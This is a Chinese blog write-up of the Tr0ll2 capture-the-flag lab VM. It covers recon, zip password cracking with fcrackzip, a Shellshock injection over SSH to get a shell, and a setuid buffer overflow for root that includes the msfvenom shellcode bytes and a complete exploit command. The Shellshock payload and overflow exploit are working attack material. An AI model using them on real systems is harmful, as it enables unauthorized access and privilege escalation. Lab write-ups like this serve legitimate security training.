Tr0ll2:shellshock漏洞利用与缓冲区溢出提权


靶机地址

1.信息收集

端口扫描

80端口

又是他

目录

rebots

以上目录的其中一些,会返回这张图片

这些图片看似一样,但是却可以发现,其中一张更大一点,用strings查看其中隐藏的信息:

找到新的目录名:

下载这个answer.txt,发现里面全是base64编码的字符串,对其进行解密:

cat answer.txt | base64 -d > answer1.txt

解密出的字符串有很多重复的,用以下命令去重:

uniq -u answer1.txt > answer2.txt 

然而,这4w多条不是用在ftp登录爆破上的,但是不白费,后面会用到。

还是尝试21端口,这次用anonymous用户登录失败,这时首先想到的是靶机作者名,注意首页源代码里的这个提示,此外这也是靶机名。

用Tr0ll:Tr0ll登录ftp成功。看来做这个系列的靶机不能纯靠技术还需要站在作者角度的巧思,他并不想我们花费大量的时间去爆破,而是从线索中大胆假设,靠猜!

把lmao.zip下载到本地。

2.fcrackzip爆破加密的zip文件

从ftp下载的文件加了密码,需要用fcrackzip工具解密

之前获取的answer文档发挥作用了,用它来做破解的字典。

破解成功!密码是:ItCantReallyBeThisEasyRightLOL

查看解密出的文件noob,发现它是私钥文件

3.利用shellshock漏洞获取shell

用ssh连接靶机,但是报错:sign_and_send_pubkey: no mutual signature supported。原因是SHA-1算法不安全,新版本的openssh已经禁用了,所以要加上参数-o PubkeyAcceptedKeyTypes=+ssh-rsa

ssh noob@192.168.56.8 -i noob -o PubkeyAcceptedKeyTypes=+ssh-rsa

但是连接被远程靶机关闭,加-v参数查看细节信息。

看到打印出debug1: Remote: Forced command.它通常容易受到shellshock攻击。

使用以下命令来确定是否存在 Shellshock 漏洞。如果执行 echo 命令并打印出“Shellshock”,则表示漏洞存在。

ssh noob@192.168.56.8 -i noob -o PubkeyAcceptedKeyTypes=+ssh-rsa  '() { :;}; echo Shellshock'

漏洞存在,修改echo命令为“/bin/bash”,获得noob用户的shell。

ssh noob@192.168.56.8 -i noob -o PubkeyAcceptedKeyTypes=+ssh-rsa  '() { :;}; /bin/bash'

python -c "import pty;pty.spawn('/bin/bash')"

转为交互shell。

4.利用缓冲区溢出提权

运行 find 命令来查找任何 setuid 目录/文件:

find / -perm -4000 2>/dev/null

我们感兴趣的目录是这“三扇门”,有三个r00t程序。(这三个程序每隔一段时间会换目录)

door1中的程序关闭ssh连接。

door1

door3中的程序权限封锁两分钟。

只有door2的程序要求带参数输入:

看到要求用户输入,首先想到的是缓冲区溢出。先来检测下是否存在缓冲区溢出漏洞,输入500个A:

./r00t $(python -c 'print "A"*500') 

出现了“段错误”,表明存在缓冲区溢出。

缓冲区溢出的靶机较少,流程已经忘得差不多了,以下是缓冲区溢出漏洞利用基本思路:

  • 利用代码进行fuzz找出是否存在缓冲区溢出漏洞(即查看能否控制EIP)
  • 确定偏移量
  • 确定返回地址
  • 生成shellcode

目前已确认存在缓冲区溢出漏洞,下一步是确定偏移量

确定偏移量

首先利用msf-pattern_create创建长度为500的随机字符串

msf-pattern_create -l 500

然后用GDB调试程序,将上述随机字符串作为输入,确认程序崩溃时EIP的值:

EIP的值为0x6a413969。利用msf-pattern_offset 工具确认偏移位置:

msf-pattern_offset -l 500 -q 6a413969

偏移量为268

确定返回地址

控制EIP跳转至shellcode,需要将shellcode设置到ESP地址。但在此之前,我们需要找到一个可靠的 ESP 地址。需要注意的是,OS 加载器将环境变量放在变化的堆栈区域之前,因此它会直接影响 ESP 地址。此外,如何调用程序也很重要。

通过取消设置环境变量参数LINES 和 COLUMNS来取消环境变量的影响,获取真实的ESP地址。

依次执行以下命令,其中”\0x90”*16为16个nop,即保护shellcode的nop雪橇。

env - gdb r00t
show env
unset env LINES
unset env COLUMNS
r $(python -c 'print "A"*268+"B"*4+"\0x90"*16+"C"*100')
info registers

确认返回地址为0xbffffc80,小端序应写为\x80\xfc\xff\xbf

生成shellcode

使用 msfvenom 生成 shellcode,排除以下常见的坏字符

  • \x00: 空字节
  • \x0a: 换行
  • \x0d: 回车

这些坏字符可以破坏 shellcode 并导致漏洞利用失败。

msfvenom -p linux/x86/exec -f py CMD="/bin/sh" -b '\x00\x0a\x0d'

生成shellcode后,执行以下命令:

env - ./r00t $(python -c 'print "A" * 268 + "\x80\xfc\xff\xbf" + "\x90" * 16 + "\xb8\xc3\xc3\x08\xdf\xda\xd7\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x0b\x31\x42\x15\x03\x42\x15\x83\xea\xfc\xe2\x36\xa9\x03\x87\x21\x7c\x72\x5f\x7c\xe2\xf3\x78\x16\xcb\x70\xef\xe6\x7b\x58\x8d\x8f\x15\x2f\xb2\x1d\x02\x27\x35\xa1\xd2\x17\x57\xc8\xbc\x48\xe4\x62\x41\xc0\x59\xfb\xa0\x23\xdd"')

执行成功,获取root权限!

成功拿到flag!


文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录